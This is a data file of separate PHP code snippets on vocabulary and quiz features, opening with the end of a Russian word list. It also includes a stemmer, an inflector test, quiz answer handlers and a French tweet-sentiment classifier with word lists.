\"мишень\",\n \"младший\",\n \"мнение\",\n \"мнимый\",\n \"могила\",\n \"модель\",\n \"мозг\",\n \"мойка\",\n \"мокрый\",\n \"молодой\",\n \"момент\",\n \"монах\",\n \"море\",\n \"мост\",\n \"мотор\",\n \"мохнатый\",\n \"мочь\",\n \"мошенник\",\n \"мощный\",\n \"мрачный\",\n \"мстить\",\n \"мудрый\",\n \"мужчина\",\n \"музыка\",\n \"мука\",\n \"мумия\",\n \"мундир\",\n \"муравей\",\n \"мусор\",\n \"мутный\",\n \"муфта\",\n \"муха\",\n \"мучить\",\n \"мушкетер\",\n \"мыло\",\n \"мысль\",\n \"мыть\",\n \"мычать\",\n \"мышь\",\n \"мэтр\",\n \"мюзикл\",\n \"мягкий\",\n \"мякиш\",\n \"мясо\",\n \"мятый\",\n \"мячик\",\n \"набор\",\n \"навык\",\n \"нагрузка\",\n \"надежда\",\n \"наемный\",\n \"нажать\",\n \"называть\",\n \"наивный\",\n \"накрыть\",\n \"налог\",\n \"намерен\",\n \"наносить\",\n \"написать\",\n \"народ\",\n \"натура\",\n \"наука\",\n \"нация\",\n \"начать\",\n \"небо\",\n \"невеста\",\n \"негодяй\",\n \"неделя\",\n \"нежный\",\n \"незнание\",\n \"нелепый\",\n \"немалый\",\n \"неправда\",\n \"нервный\",\n \"нести\",\n \"нефть\",\n \"нехватка\",\n \"нечистый\",\n \"неясный\",\n \"нива\",\n \"нижний\",\n \"низкий\",\n \"никель\",\n \"нирвана\",\n \"нить\",\n \"ничья\",\n \"ниша\",\n \"нищий\",\n \"новый\",\n \"нога\",\n \"ножницы\",\n \"ноздря\",\n \"ноль\",\n \"номер\",\n \"норма\",\n \"нота\",\n \"ночь\",\n \"ноша\",\n \"ноябрь\",\n \"нрав\",\n \"нужный\",\n \"нутро\",\n \"нынешний\",\n \"нырнуть\",\n \"ныть\",\n \"нюанс\",\n \"нюхать\",\n \"няня\",\n \"оазис\",\n \"обаяние\",\n \"обвинять\",\n \"обгонять\",\n \"обещать\",\n \"обжигать\",\n \"обзор\",\n \"обида\",\n \"область\",\n \"обмен\",\n \"обнимать\",\n \"оборона\",\n \"образ\",\n \"обучение\",\n \"обходить\",\n \"обширный\",\n \"общий\",\n \"объект\",\n \"обычный\",\n \"обязать\",\n \"овальный\",\n \"овес\",\n \"овощи\",\n \"овраг\",\n \"овца\",\n \"овчарка\",\n \"огненный\",\n \"огонь\",\n \"огромный\",\n \"огурец\",\n \"одежда\",\n \"одинокий\",\n \"одобрить\",\n \"ожидать\",\n \"ожог\",\n \"озарение\",\n \"озеро\",\n \"означать\",\n \"оказать\",\n \"океан\",\n \"оклад\",\n \"окно\",\n \"округ\",\n \"октябрь\",\n \"окурок\",\n \"олень\",\n \"опасный\",\n \"операция\",\n \"описать\",\n \"оплата\",\n \"опора\",\n \"оппонент\",\n \"опрос\",\n \"оптимизм\",\n \"опускать\",\n \"опыт\",\n \"орать\",\n \"орбита\",\n \"орган\",\n \"орден\",\n \"орел\",\n \"оригинал\",\n \"оркестр\",\n \"орнамент\",\n \"оружие\",\n \"осадок\",\n \"освещать\",\n \"осень\",\n \"осина\",\n \"осколок\",\n \"осмотр\",\n \"основной\",\n \"особый\",\n \"осуждать\",\n \"отбор\",\n \"отвечать\",\n \"отдать\",\n \"отец\",\n \"отзыв\",\n \"открытие\",\n \"отмечать\",\n \"относить\",\n \"отпуск\",\n \"отрасль\",\n \"отставка\",\n \"оттенок\",\n \"отходить\",\n \"отчет\",\n \"отъезд\",\n \"офицер\",\n \"охапка\",\n \"охота\",\n \"охрана\",\n \"оценка\",\n \"очаг\",\n \"очередь\",\n \"очищать\",\n \"очки\",\n \"ошейник\",\n \"ошибка\",\n \"ощущение\",\n \"павильон\",\n \"падать\",\n \"паек\",\n \"пакет\",\n \"палец\",\n \"память\",\n \"панель\",\n \"папка\",\n \"партия\",\n \"паспорт\",\n \"патрон\",\n \"пауза\",\n \"пафос\",\n \"пахнуть\",\n \"пациент\",\n \"пачка\",\n \"пашня\",\n \"певец\",\n \"педагог\",\n \"пейзаж\",\n \"пельмень\",\n \"пенсия\",\n \"пепел\",\n \"период\",\n \"песня\",\n \"петля\",\n \"пехота\",\n \"печать\",\n \"пешеход\",\n \"пещера\",\n \"пианист\",\n \"пиво\",\n \"пиджак\",\n \"пиковый\",\n \"пилот\",\n \"пионер\",\n \"пирог\",\n \"писать\",\n \"пить\",\n \"пицца\",\n \"пишущий\",\n \"пища\",\n \"план\",\n \"плечо\",\n \"плита\",\n \"плохой\",\n \"плыть\",\n \"плюс\",\n \"пляж\",\n \"победа\",\n \"повод\",\n \"погода\",\n \"подумать\",\n \"поехать\",\n \"пожимать\",\n \"позиция\",\n \"поиск\",\n \"покой\",\n \"получать\",\n \"помнить\",\n \"пони\",\n \"поощрять\",\n \"попадать\",\n \"порядок\",\n \"пост\",\n \"поток\",\n \"похожий\",\n \"поцелуй\",\n \"почва\",\n \"пощечина\",\n \"поэт\",\n \"пояснить\",\n \"право\",\n \"предмет\",\n \"проблема\",\n \"пруд\",\n \"прыгать\",\n \"прямой\",\n \"психолог\",\n \"птица\",\n \"публика\",\n \"пугать\",\n \"пудра\",\n \"пузырь\",\n \"пуля\",\n \"пункт\",\n \"пурга\",\n \"пустой\",\n \"путь\",\n \"пухлый\",\n \"пучок\",\n \"пушистый\",\n \"пчела\",\n \"пшеница\",\n \"пыль\",\n \"пытка\",\n \"пыхтеть\",\n \"пышный\",\n \"пьеса\",\n \"пьяный\",\n \"пятно\",\n \"работа\",\n \"равный\",\n \"радость\",\n \"развитие\",\n \"район\",\n \"ракета\",\n \"рамка\",\n \"ранний\",\n \"рапорт\",\n \"рассказ\",\n \"раунд\",\n \"рация\",\n \"рвать\",\n \"реальный\",\n \"ребенок\",\n \"реветь\",\n \"регион\",\n \"редакция\",\n \"реестр\",\n \"режим\",\n \"резкий\",\n \"рейтинг\",\n \"река\",\n \"религия\",\n \"ремонт\",\n \"рента\",\n \"реплика\",\n \"ресурс\",\n \"реформа\",\n \"рецепт\",\n \"речь\",\n \"решение\",\n \"ржавый\",\n \"рисунок\",\n \"ритм\",\n \"рифма\",\n \"робкий\",\n \"ровный\",\n \"рогатый\",\n \"родитель\",\n \"рождение\",\n \"розовый\",\n \"роковой\",\n \"роль\",\n \"роман\",\n \"ронять\",\n \"рост\",\n \"рота\",\n \"роща\",\n \"рояль\",\n \"рубль\",\n \"ругать\",\n \"руда\",\n \"ружье\",\n \"руины\",\n \"рука\",\n \"руль\",\n \"румяный\",\n \"русский\",\n \"ручка\",\n \"рыба\",\n \"рывок\",\n \"рыдать\",\n \"рыжий\",\n \"рынок\",\n \"рысь\",\n \"рыть\",\n \"рыхлый\",\n \"рыцарь\",\n \"рычаг\",\n \"рюкзак\",\n \"рюмка\",\n \"рябой\",\n \"рядовой\",\n \"сабля\",\n \"садовый\",\n \"сажать\",\n \"салон\",\n \"самолет\",\n \"сани\",\n \"сапог\",\n \"сарай\",\n \"сатира\",\n \"сауна\",\n \"сахар\",\n \"сбегать\",\n \"сбивать\",\n \"сбор\",\n \"сбыт\",\n \"свадьба\",\n \"свет\",\n \"свидание\",\n \"свобода\",\n \"связь\",\n \"сгорать\",\n \"сдвигать\",\n \"сеанс\",\n \"северный\",\n \"сегмент\",\n \"седой\",\n \"сезон\",\n \"сейф\",\n \"секунда\",\n \"сельский\",\n \"семья\",\n \"сентябрь\",\n \"сердце\",\n \"сеть\",\n \"сечение\",\n \"сеять\",\n \"сигнал\",\n \"сидеть\",\n \"сизый\",\n \"сила\",\n \"символ\",\n \"синий\",\n \"сирота\",\n \"система\",\n \"ситуация\",\n \"сиять\",\n \"сказать\",\n \"скважина\",\n \"скелет\",\n \"скидка\",\n \"склад\",\n \"скорый\",\n \"скрывать\",\n \"скучный\",\n \"слава\",\n \"слеза\",\n \"слияние\",\n \"слово\",\n \"случай\",\n \"слышать\",\n \"слюна\",\n \"смех\",\n \"смирение\",\n \"смотреть\",\n \"смутный\",\n \"смысл\",\n \"смятение\",\n \"снаряд\",\n \"снег\",\n \"снижение\",\n \"сносить\",\n \"снять\",\n \"событие\",\n \"совет\",\n \"согласие\",\n \"сожалеть\",\n \"сойти\",\n \"сокол\",\n \"солнце\",\n \"сомнение\",\n \"сонный\",\n \"сообщать\",\n \"соперник\",\n \"сорт\",\n \"состав\",\n \"сотня\",\n \"соус\",\n \"социолог\",\n \"сочинять\",\n \"союз\",\n \"спать\",\n \"спешить\",\n \"спина\",\n \"сплошной\",\n \"способ\",\n \"спутник\",\n \"средство\",\n \"срок\",\n \"срывать\",\n \"стать\",\n \"ствол\",\n \"стена\",\n \"стихи\",\n \"сторона\",\n \"страна\",\n \"студент\",\n \"стыд\",\n \"субъект\",\n \"сувенир\",\n \"сугроб\",\n \"судьба\",\n \"суета\",\n \"суждение\",\n \"сукно\",\n \"сулить\",\n \"сумма\",\n \"сунуть\",\n \"супруг\",\n \"суровый\",\n \"сустав\",\n \"суть\",\n \"сухой\",\n \"суша\",\n \"существо\",\n \"сфера\",\n \"схема\",\n \"сцена\",\n \"счастье\",\n \"счет\",\n \"считать\",\n \"сшивать\",\n \"съезд\",\n \"сынок\",\n \"сыпать\",\n \"сырье\",\n \"сытый\",\n \"сыщик\",\n \"сюжет\",\n \"сюрприз\",\n \"таблица\",\n \"таежный\",\n \"таинство\",\n \"тайна\",\n \"такси\",\n \"талант\",\n \"таможня\",\n \"танец\",\n \"тарелка\",\n \"таскать\",\n \"тахта\",\n \"тачка\",\n \"таять\",\n \"тварь\",\n \"твердый\",\n \"творить\",\n \"театр\",\n \"тезис\",\n \"текст\",\n \"тело\",\n \"тема\",\n \"тень\",\n \"теория\",\n \"теплый\",\n \"терять\",\n \"тесный\",\n \"тетя\",\n \"техника\",\n \"течение\",\n \"тигр\",\n \"типичный\",\n \"тираж\",\n \"титул\",\n \"тихий\",\n \"тишина\",\n \"ткань\",\n \"товарищ\",\n \"толпа\",\n \"тонкий\",\n \"топливо\",\n \"торговля\",\n \"тоска\",\n \"точка\",\n \"тощий\",\n \"традиция\",\n \"тревога\",\n \"трибуна\",\n \"трогать\",\n \"труд\",\n \"трюк\",\n \"тряпка\",\n \"туалет\",\n \"тугой\",\n \"туловище\",\n \"туман\",\n \"тундра\",\n \"тупой\",\n \"турнир\",\n \"тусклый\",\n \"туфля\",\n \"туча\",\n \"туша\",\n \"тыкать\",\n \"тысяча\",\n \"тьма\",\n \"тюльпан\",\n \"тюрьма\",\n \"тяга\",\n \"тяжелый\",\n \"тянуть\",\n \"убеждать\",\n \"убирать\",\n \"убогий\",\n \"убыток\",\n \"уважение\",\n \"уверять\",\n \"увлекать\",\n \"угнать\",\n \"угол\",\n \"угроза\",\n \"удар\",\n \"удивлять\",\n \"удобный\",\n \"уезд\",\n \"ужас\",\n \"ужин\",\n \"узел\",\n \"узкий\",\n \"узнавать\",\n \"узор\",\n \"уйма\",\n \"уклон\",\n \"укол\",\n \"уксус\",\n \"улетать\",\n \"улица\",\n \"улучшать\",\n \"улыбка\",\n \"уметь\",\n \"умиление\",\n \"умный\",\n \"умолять\",\n \"умысел\",\n \"унижать\",\n \"уносить\",\n \"уныние\",\n \"упасть\",\n \"уплата\",\n \"упор\",\n \"упрекать\",\n \"упускать\",\n \"уран\",\n \"урна\",\n \"уровень\",\n \"усадьба\",\n \"усердие\",\n \"усилие\",\n \"ускорять\",\n \"условие\",\n \"усмешка\",\n \"уснуть\",\n \"успеть\",\n \"усыпать\",\n \"утешать\",\n \"утка\",\n \"уточнять\",\n \"утро\",\n \"утюг\",\n \"уходить\",\n \"уцелеть\",\n \"участие\",\n \"ученый\",\n \"учитель\",\n \"ушко\",\n \"ущерб\",\n \"уютный\",\n \"уяснять\",\n \"фабрика\",\n \"фаворит\",\n \"фаза\",\n \"файл\",\n \"факт\",\n \"фамилия\",\n \"фантазия\",\n \"фара\",\n \"фасад\",\n \"февраль\",\n \"фельдшер\",\n \"феномен\",\n \"ферма\",\n \"фигура\",\n \"физика\",\n \"фильм\",\n \"финал\",\n \"фирма\",\n \"фишка\",\n \"флаг\",\n \"флейта\",\n \"флот\",\n \"фокус\",\n \"фольклор\",\n \"фонд\",\n \"форма\",\n \"фото\",\n \"фраза\",\n \"фреска\",\n \"фронт\",\n \"фрукт\",\n \"функция\",\n \"фуражка\",\n \"футбол\",\n \"фыркать\",\n \"халат\",\n \"хамство\",\n \"хаос\",\n \"характер\",\n \"хата\",\n \"хватать\",\n \"хвост\",\n \"хижина\",\n \"хилый\",\n \"химия\",\n \"хирург\",\n \"хитрый\",\n \"хищник\",\n \"хлам\",\n \"хлеб\",\n \"хлопать\",\n \"хмурый\",\n \"ходить\",\n \"хозяин\",\n \"хоккей\",\n \"холодный\",\n \"хороший\",\n \"хотеть\",\n \"хохотать\",\n \"храм\",\n \"хрен\",\n \"хриплый\",\n \"хроника\",\n \"хрупкий\",\n \"художник\",\n \"хулиган\",\n \"хутор\",\n \"царь\",\n \"цвет\",\n \"цель\",\n \"цемент\",\n \"центр\",\n \"цепь\",\n \"церковь\",\n \"цикл\",\n \"цилиндр\",\n \"циничный\",\n \"цирк\",\n \"цистерна\",\n \"цитата\",\n \"цифра\",\n \"цыпленок\",\n \"чадо\",\n \"чайник\",\n \"часть\",\n \"чашка\",\n \"человек\",\n \"чемодан\",\n \"чепуха\",\n \"черный\",\n \"честь\",\n \"четкий\",\n \"чехол\",\n \"чиновник\",\n \"число\",\n \"читать\",\n \"членство\",\n \"чреватый\",\n \"чтение\",\n \"чувство\",\n \"чугунный\",\n \"чудо\",\n \"чужой\",\n \"чукча\",\n \"чулок\",\n \"чума\",\n \"чуткий\",\n \"чучело\",\n \"чушь\",\n \"шаблон\",\n \"шагать\",\n \"шайка\",\n \"шакал\",\n \"шалаш\",\n \"шампунь\",\n \"шанс\",\n \"шапка\",\n \"шарик\",\n \"шасси\",\n \"шатер\",\n \"шахта\",\n \"шашлык\",\n \"швейный\",\n \"швырять\",\n \"шевелить\",\n \"шедевр\",\n \"шейка\",\n \"шелковый\",\n \"шептать\",\n \"шерсть\",\n \"шестерка\",\n \"шикарный\",\n \"шинель\",\n \"шипеть\",\n \"широкий\",\n \"шить\",\n \"шишка\",\n \"шкаф\",\n \"школа\",\n \"шкура\",\n \"шланг\",\n \"шлем\",\n \"шлюпка\",\n \"шляпа\",\n \"шнур\",\n \"шоколад\",\n \"шорох\",\n \"шоссе\",\n \"шофер\",\n \"шпага\",\n \"шпион\",\n \"шприц\",\n \"шрам\",\n \"шрифт\",\n \"штаб\",\n \"штора\",\n \"штраф\",\n \"штука\",\n \"штык\",\n \"шуба\",\n \"шуметь\",\n \"шуршать\",\n \"шутка\",\n \"щадить\",\n \"щедрый\",\n \"щека\",\n \"щель\",\n \"щенок\",\n \"щепка\",\n \"щетка\",\n \"щука\",\n \"эволюция\",\n \"эгоизм\",\n \"экзамен\",\n \"экипаж\",\n \"экономия\",\n \"экран\",\n \"эксперт\",\n \"элемент\",\n \"элита\",\n \"эмблема\",\n \"эмигрант\",\n \"эмоция\",\n \"энергия\",\n \"эпизод\",\n \"эпоха\",\n \"эскиз\",\n \"эссе\",\n \"эстрада\",\n \"этап\",\n \"этика\",\n \"этюд\",\n \"эфир\",\n \"эффект\",\n \"эшелон\",\n \"юбилей\",\n \"юбка\",\n \"южный\",\n \"юмор\",\n \"юноша\",\n \"юрист\",\n \"яблоко\",\n \"явление\",\n \"ягода\",\n \"ядерный\",\n \"ядовитый\",\n \"ядро\",\n \"язва\",\n \"язык\",\n \"яйцо\",\n \"якорь\",\n \"январь\",\n \"японец\",\n \"яркий\",\n \"ярмарка\",\n \"ярость\",\n \"ярус\",\n \"ясный\",\n \"яхта\",\n \"ячейка\",\n \"ящик\" \n ];\n }",
"private function printLessonPage() {\n\t\t$correctVocabulary = mt_rand ( 0, 4 );\n\t\tinclude ('html/vocabularyTest.php');\n\t}",
"function difundir() {\n\n // La funcion obtener_frase esta heredado del pariente Orador\n $frase = $this->obtener_frase();\n\n // Convirtir a mayusculos\n $frase_mayusculas = strtoupper($frase);\n\n echo $frase_mayusculas;\n\n }",
"public function vocScore();",
"function difundir() {\n $frase = $this->obtener_frase();\n echo $frase;\n }",
"public static function questionWords()\n {\n return array('who', 'what', 'where', 'when', 'why', 'how', 'which', 'wherefore', 'whatever', 'whom', 'whose', 'wherewith', 'whither', 'whence');\n }",
"function titleKeyWords()\n\t{\n\t\tif(isset($_REQUEST['questionID']))\n\t\t{\n\t\t\t//print strip_tags(myTruncate(get_forum_nameByAphorismID($_REQUEST['questionID']), 100, ' ', ' ... ')).' - Фрази, афоризми, умни мисли, забавни изказвания, лозунги и др';\n\t\t}\n\t\telse \n\t\t{\n\t\t\tprint 'Фрази, афоризми, умни мисли, забавни изказвания, лозунги и др';\n\t\t}\n\t\n\t}",
"public function getAnswers();",
"public function getStemV() {}",
"function correctAnswerWithTypo() {\n\t}",
"function findVocabulary($vocabulary) \r\n\t{\r\n\t\t\r\n\t\t$errmsg = RDFAPI_ERROR . '(class: InfModel; method: findVocabulary): \r\n\t\t\t\t\t\t\t\t\tThis function is disabled in the \r\n\t\t\t\t\t\t\t\t\tInference Model';\r\n\t\ttrigger_error($errmsg, E_USER_ERROR); \r\n\t}",
"public function languages();",
"function __construct() {\n // $VOWEL = variable_get('ukstemmer_vowel', '/аеиоуюяіїє/');\n // $PERFECTIVEGROUND = variable_get('ukstemmer_perfectiveground', '/((ив|ивши|ившись|ыв|ывши|ывшись((?<=[ая])(в|вши|вшись)))$/');\n // $REFLEXIVE = variable_get('ukstemmer_reflexive', '/(с[яьи])$/');\n // $ADJECTIVE = variable_get('ukstemmer_adjective', '/(ее|ие|ые|ое|ими|ыми|ей|ий|ый|ой|ем|им|ым|ом|его|ого|ему|ому|их|ых|ую|юю|ая|яя|ою|ею)$/');\n // $PARTICIPLE = variable_get('ukstemmer_participle', '/((ивш|ывш|ующ)|((?<=[ая])(ем|нн|вш|ющ|щ)))$/');\n // $VERB = variable_get('ukstemmer_verb', '/((ила|ыла|ена|ейте|уйте|ите|или|ыли|ей|уй|ил|ыл|им|ым|ен|ило|ыло|ено|ят|ует|уют|ит|ыт|ены|ить|ыть|ишь|ую|ю)|((?<=[ая])(ла|на|ете|йте|ли|й|л|ем|н|ло|но|ет|ют|ны|ть|ешь|нно)))$/');\n // $NOUN = variable_get('ukstemmer_noun', '/(а|ев|ов|ие|ье|е|иями|ями|ами|еи|ии|и|ией|ей|ой|ий|й|иям|ям|ием|ем|ам|ом|о|у|ах|иях|ях|ы|ь|ию|ью|ю|ия|ья|я)$/');\n // $RVRE = variable_get('ukstemmer_rvre', '/^(.*?[аеиоуюяіїє])(.*)$/');\n // $DERIVATIONAL = variable_get('ukstemmer_derivational', '/[^аеиоуюяіїє][аеиоуюяіїє]+[^аеиоуюяіїє]+[аеиоуюяіїє].*(?<=о)сть?$/');\n }",
"function wp_iso_descrambler($subject)\n {\n }",
"protected function getPreviewLanguages() {}",
"function sensei_custom_lesson_quiz_text () {\n\t$text = \"Report What You Have Learned\";\n\treturn $text;\n}",
"public function vocab() {\n\t\t$pageTitle = 'Vocabulary';\n\t\t// $stylesheet = '';\n\n\t\tinclude_once SYSTEM_PATH.'/view/header.php';\n\t\tinclude_once SYSTEM_PATH.'/view/academic-help/vocab.php';\n\t\tinclude_once SYSTEM_PATH.'/view/footer.php';\n\t}",
"public function dataSampleWords() \n {\n Inflector::reset();\n \n // in the format array('singular', 'plural') \n return array(\n array('categoria', 'categorias'),\n array('house', 'houses'),\n array('powerhouse', 'powerhouses'),\n array('Bus', 'Buses'),\n array('bus', 'buses'),\n array('menu', 'menus'),\n array('news', 'news'),\n array('food_menu', 'food_menus'),\n array('Menu', 'Menus'),\n array('FoodMenu', 'FoodMenus'),\n array('quiz', 'quizzes'),\n array('matrix_row', 'matrix_rows'),\n array('matrix', 'matrices'),\n array('vertex', 'vertices'),\n array('index', 'indices'),\n array('Alias', 'Aliases'),\n array('Media', 'Media'),\n array('NodeMedia', 'NodeMedia'),\n array('alumnus', 'alumni'),\n array('bacillus', 'bacilli'),\n array('cactus', 'cacti'),\n array('focus', 'foci'),\n array('fungus', 'fungi'),\n array('nucleus', 'nuclei'),\n array('octopus', 'octopuses'),\n array('radius', 'radii'),\n array('stimulus', 'stimuli'),\n array('syllabus', 'syllabi'),\n array('terminus', 'termini'),\n array('virus', 'viri'),\n array('person', 'people'),\n array('glove', 'gloves'),\n array('crisis', 'crises'),\n array('tax', 'taxes'),\n array('wave', 'waves'),\n array('bureau', 'bureaus'),\n array('cafe', 'cafes'),\n array('roof', 'roofs'),\n array('foe', 'foes'),\n array('cookie', 'cookies'),\n array('identity', 'identities'),\n array('criteria', 'criterion'),\n array('curve', 'curves'),\n array('', ''),\n );\n }",
"public function addansw()\n\t{\n\t\t\n\t\tif(mayEditQuiz())\n\t\t{\n\t\t\tif(isset($_GET['text']) && isset($_GET['right']) && isset($_GET['qid']))\n\t\t\t{\n\t\t\t\t$text = strip_tags($_GET['text']);\n\t\t\t\t$exp = strip_tags($_GET['explanation']);\n\t\t\t\t$right = (int)$_GET['right'];\n\t\t\n\t\t\t\tif(!empty($text) && ($right == 0 || $right == 1 || $right == 2))\n\t\t\t\t{\n\t\t\t\t\tif($id = $this->model->addAnswer($_GET['qid'],$text,$exp,$right))\n\t\t\t\t\t{\n\t\t\t\t\t\treturn array(\n\t\t\t\t\t\t\t\t'status' => 1,\n\t\t\t\t\t\t\t\t'script' => 'pulseInfo(\"Antwort wurde angelegt\");$(\"#answerlist-'.(int)$_GET['qid'].'\").append(\\'<li class=\"right-'.(int)$right.'\">'.jsSafe(nl2br(strip_tags($text))).'</li>\\');$( \"#questions\" ).accordion( \"refresh\" );'\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\treturn array(\n\t\t\t\t\t\t\t'status' => 1,\n\t\t\t\t\t\t\t'script' => 'pulseError(\"Du solltest einen Text angeben ;)\");'\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t}",
"function predict($classifier, $text) {\n\t\t$language = $classifier->predict($text);\n\t\techo \"{$language} = '{$text}'\\n\";\n\t}",
"function getAnswerTableName()\n\t{\n\t\treturn \"qpl_a_textsubset\";\n\t}",
"function DictionaryWhatMeans(){\n\t\n\tglobal $db_dictionary;\n\tglobal $eden_cfg;\n\t\n\t$res = mysql_query(\"SELECT dictionary_id FROM $db_dictionary WHERE dictionary_parent_id=0 AND dictionary_allow=1\") or die (\"<strong>File:</strong> \".__FILE__.\"<br /><strong>Line:</strong>\".__LINE__.\"<br />\".mysql_error());\n\t$words = Array();\n\twhile ($ar = mysql_fetch_array($res)){\n\t\t$words[] .= $ar['dictionary_id'];\n\t}\n\t$num = count($words) - 1; // -1 je prevence proti zobrazeni cisla minus rozsah pole\n\t$random_num = rand (0,$num);\n\t$random_word = $words[$random_num];\n\t$res_word = mysql_query(\"SELECT dictionary_word, dictionary_word_description FROM $db_dictionary WHERE dictionary_id=\".(integer)$random_word) or die (\"<strong>File:</strong> \".__FILE__.\"<br /><strong>Line:</strong>\".__LINE__.\"<br />\".mysql_error());\n\t$ar_word = mysql_fetch_array($res_word);\n\techo \"<span class=\\\"h2\\\">\".$ar_word['dictionary_word'].\"</span><br>\".$ar_word['dictionary_word_description'];\n}",
"function pubf_LoadAnswer($strRespuesta)\n\t{\n\t\t$strSQLoadContent= $this->selectQuery(\"select idRespuesta,strRespuesta,intCorrecta from respuesta where idRespuesta={$this->idRespuesta}\");\n if($strSQLoadContent){\n $this->idRespuesta = $strSQLoadContent->idRespuesta;\n\t\t\t\t $this->strRespuesta = $strSQLoadContent->strRespuesta;\n }\n\t}",
"public function displayNotAnsweredQuestion()\n {\n\n }",
"public function createWordsForExam()\n {\n $words = $this->words()->get()->toArray();\n return $this->rearrangeWords($words);\n }",
"public function index()\n {\n\n if(request('language'))\n {\n return view('quizzes.type.translate_words.index', [\n 'languages' => Language::all(),\n 'translateWords' => Language::where('language', request('language'))->firstOrFail()->translate_words\n ]);\n }else{\n return view('quizzes.type.translate_words.index', [\n 'languages' => Language::all(),\n 'translateWords' => TranslateWord::latest()->get(),\n ]);\n }\n }",
"function getPolarityByTweet($string,$data_text)\n{\n\t$positif_words=[\n\"😂\",\n\"💪\", \n\"💜\",\n\"💖\",\n\"👏\",\n\"👍\",\n\"🎺\",\n\"😍\",\n\"bravo\",\n\"courage\",\n\"positif\",\n\"amour\",\n\"espoir\",\n\"chance\",\n\"belle\",\n\"beau\",\n\"top\",\n\"super\",\n\"magnifique\",\n\"excellent\",\n\"heureusement\",\n\"explique\",\n\"arrogant\",\n\"arrête\",\n\"plat\",\n\"cœur\",\n\"caricatur\",\n\"félicitation\",\n\"intellectuelle\",\n\"élection\",\n\"incroyable\",\n\"grâce\",\n\"connait\",\n\"côté\",\n\"cesse\",\n\"attaqu\",\n\"résume\",\n\"changement\",\n\"hauteur\",\n\"confiance\",\n\"aimer\",\n\"joie\",\n\"merci\",\n\"calme\",\n\"adore\",\n\"felicitations\",\n\"intelligence\",\n\"credible\",\n\"prouve\",\n\"responsable\",\n\"respecter\",\n];\n\n\t$negatif_words=[\n\"🚮\",\n\"😠\",\n\"😳\",\n\"🚫\", \n\"🔥\",\n\"😢\", \n\"😱\",\n\"😹\",\n\"😠\",\n\"😨\",\n\"😫\",\n\"😭\",\n\"malade\",\n\"bloodysusu\",\n\"honte\",\n\"suicide\",\n\"autosuicide\",\n\"suicidaire\",\n\"suicidemediatique\",\n\"suicidepolitique\",\n\"assume\",\n\"jevoteelledegage\",\n\"haine\",\n\"ToutSaufMacron\",\n\"hontemarine\",\n\"null\",\n\"con\",\n\"ivre\",\n\"échec\",\n\"frapp\",\n\"clash\",\n\"invectiv\",\n\"racist\",\n\"cougar\",\n\"couille\",\n\"schlag\",\n\"shlag\",\n\"mensonge\",\n\"bat\",\n\"médiocre\",\n\"poudre\",\n\"cour\",\n\"cons\",\n\"nul\",\n\"diocre\",\n\"flavienneuvy\",\n\"archi\",\n\"damidotvalerie\",\n\"hop\",\n\"grosse\",\n\"rigol\",\n\"idio\",\n\"humilier\",\n\"pute\",\n\"putain\",\n\"encule\",\n\"connard\",\n\"salope\",\n\"merde\",\n\"cul\",\n\"batard\",\n\"connasse\",\n\"enfoire\",\n\"abruti\",\n\"caca\",\n\"bordel\",\n\"peur\",\n\"mort\",\n\"salir\",\n\"voile\",\n\"menace\",\n\"triste\",\n\"contre\",\n\"folle\",\n\"indigne\",\n\"parasite\",\n\"gueule\",\n\"pathetique\",\n\"crise\",\n\"insulter\",\n\"menteuse\",\n\"ridiculisee\",\n\"lecon\",\n\"abstentionnistes\",\n\"debile\",\n\"pleurer\",\n\"couilles\",\n\"ptdr\",\n\"marre\",\n\"connerie\",\n\"vulgarite\",\n\"agressivite\",\n\"genante\",\n\"ment\",\n\"betises\",\n\"sdementhon\",\n\"reconciliee\",\n\"menteur\",\n\"danger\",\n\"fhollande\",\n\"fhaine\",\n\"shutthefnckup\",\n];\n\n$mixte_words=[\n\"solere\",\n\"ecologie\",\n\"franceinsoumise\",\n\"neant\",\n\"casse\",\n\"mdrrrr\",\n\"malaise\",\n\"vulgaire\",\n\"ecu\",\n\"blonde\",\n\"mdr\",\n\"ridiculisation\",\n\"clown\",\n\"taire\",\n\"bizarre\",\n\"perd\",\n\"EnMarche\",\n\"honteux\",\n\"daesh\",\n\"démotivé\",\n\"guerre\",\n\"dupontaignan\",\n\"francoisfillon\",\n\"fake\",\n\"ridiculis\",\n\"pas\",\n\"mauvais\",\n\"insupportable\",\n\"immigration\",\n\"interrompre\",\n\"fini\",\n\"regret\",\n\"macron\",\n\"lepen\",\n\"pen\",\n\"islamis\",\n\"djihadis\"\n];\n\n//echo $string.\" \". getStringScore($string,$data_text); die;\n$score=getStringScore($string,$data_text);\n\tif ($score==0) {\n\t\t\tif ((!strposa($string, $mixte_words, 1))&&(!strposa($string, $negatif_words, 1))&&(!strposa($string, $positif_words, 1))){\n\t return 'autre';\n\t}else{\n\t return 'negatif';\n\t}\n\n\t}\n\tif ($score<-1){\n\t return 'negatif';\n\t} else if ($score>=-1 && $score<1){\n\t return 'autre';\n\t} else if ($score>=1&& $score<5){\n\t return 'mixte';\n\t} else if ($score>=5){\n\t return 'positif';\n\t}\n\n}",
"public function create()\n {\n return view('quizzes.type.translate_words.create', [\n 'languages' => Language::all()\n ]);\n }",
"public function vocabulary()\n {\n return $this->belongsTo('App\\Models\\Vocabulary');\n }",
"public function hasVocabulary() {\n return $this->_has(1);\n }",
"public function hasVocabulary() {\n return $this->_has(1);\n }",
"public function actionCheckWords()\n {\n\t\t$strWords = $_GET['q'];\n\t\t$queryResulqt='SELECT words FROM badwords';\n\t\t$wordsValue1 =Yii::app()->db->createCommand($queryResulqt)->queryAll();\n\t\t\n\t\tforeach($wordsValue1 as $value)\n\t\t{\n\t\t\t$words[] = trim($value['words']);\n\n\t\t}\n\t\t\n\t\tif(in_array(trim($strWords), $words))\n\t\t{\n\t\t\techo 0;\n\t\t}\n\t\telse\n\t\t{\n\t\t\techo 1;\n\t\t}\n\t }",
"public function language();",
"public function language();",
"function incorrectAnswer() {\n\t}",
